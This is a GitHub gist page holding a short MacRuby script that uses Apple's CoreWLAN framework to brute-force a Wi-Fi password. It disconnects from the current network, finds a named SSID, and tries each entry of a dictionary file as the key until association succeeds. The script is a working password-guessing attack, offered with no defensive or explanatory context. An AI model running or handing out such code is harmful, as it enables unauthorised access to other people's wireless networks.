Skip to content

Instantly share code, notes, and snippets.

@yaakovgamliel
Forked from mikz/corewlan.rb
Created October 4, 2016 21:22
Show Gist options
  • Save yaakovgamliel/2bfb0342dcf895f12a1eb75d7b5b5a4f to your computer and use it in GitHub Desktop.
Save yaakovgamliel/2bfb0342dcf895f12a1eb75d7b5b5a4f to your computer and use it in GitHub Desktop.
framework "CoreWLAN"
iface = CWInterface.interface
iface.disassociate
wlans = iface.scanForNetworksWithParameters(nil, error: nil)
wlan = wlans.find {|w| w.ssid == "WLAN_724A"}
p [wlan.bssid, wlan.ssid, wlan.securityMode, wlan.wlanChannel.channelNumber]
keys = File.read("./dictionary.txt").lines.to_a.reverse
keys.each_with_index do |key, index|
key.chop!
puts "CURRENT KEY: #{key} (#{index+1}/#{keys.size})"
if iface.associateToNetwork(wlan, password: key, error: nil)
puts "KEY FOUND: #{key}"
exit
end
end
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment